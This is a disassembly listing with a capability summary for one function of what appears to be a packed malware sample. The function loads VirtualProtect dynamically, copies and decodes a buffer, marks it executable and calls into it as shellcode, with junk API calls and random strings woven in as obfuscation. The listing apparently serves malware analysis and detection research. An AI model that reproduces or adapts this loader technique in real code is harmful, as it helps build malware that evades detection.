Function at 0x4016ec
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x42245b
call fcn.0042146c
sub esp, 0x828
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x40171a
inc esi
cmp esi, 0x67d12
jl 0x401703
cmp dword [0x2816164], 0x93
jne 0x4017e7
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push str.kojetedodadexuyederozaliv_cejonaritovajowacigep
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push ebx
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
push ebx
lea eax, [ebp - 0x834]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_FindExecutableA]
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x34], bl
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00402321
push ebx
push ebx
call fcn.004021e7
push ebx
call fcn.004025dd
push ebx
call fcn.004025ec
fldz
add esp, 0x18
push ebx
push ecx
push ecx
fstp qword [esp]
call fcn.00401e21
or dword [ebp - 4], 0xffffffff
fstp st(0)
add esp, 0xc
cmp dword [ebp - 0x20], 0x10
jb 0x4017e7
push dword [ebp - 0x34]
call fcn.0040232c
pop ecx
mov eax, dword [0x428298]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add dword [0x2816164], 0x1134b
push str.kernel32.dll
mov dword [0x2816fa0], eax
call esi
push str.VirtualProtect
push eax
mov dword [0x2815bf4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2816164]
mov dword [0x2815be8], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push dword [0x2816164]
mov dword [0x2815bf0], eax
push eax
call dword [0x2815be8]
mov edi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x401848
mov eax, dword [0x2816164]
cmp eax, ebx
jbe 0x4018b4
mov eax, dword [0x2816fa0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2815bf0]
mov byte [ecx + edi], al
mov eax, dword [0x2816164]
cmp eax, 0x490
jne 0x4018af
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push ebx
call esi
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push ebx
call dword [sym.imp.KERNEL32.dll_AttachConsole]
mov eax, dword [0x2816164]
inc edi
cmp edi, eax
jb 0x401862
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0x8d
jne 0x4018e5
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0x424be8
call esi
mov eax, dword [0x2816164]
inc edi
cmp edi, 0x38681
jl 0x4018b6
mov ecx, dword [0x2815bf0]
shr eax, 3
cmp eax, ebx
jbe 0x40190e
mov edi, ecx
mov dword [ebp - 0x10], eax
push edi
call fcn.00401007
add edi, 8
dec dword [ebp - 0x10]
jne 0x401900
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x40192f
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0x5fd7
mov eax, dword [ebp - 0x10]
add dword [0x2815bf0], eax
inc edi
cmp edi, 0x674bd
jl 0x401910
push 0x7b
pop edi
cmp dword [0x2816164], 0x86
jne 0x401973
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.jusotocupibimayudevujo
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec edi
jne 0x40193b
push str.msimg32.dll
call esi
call dword [0x2815bf0]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret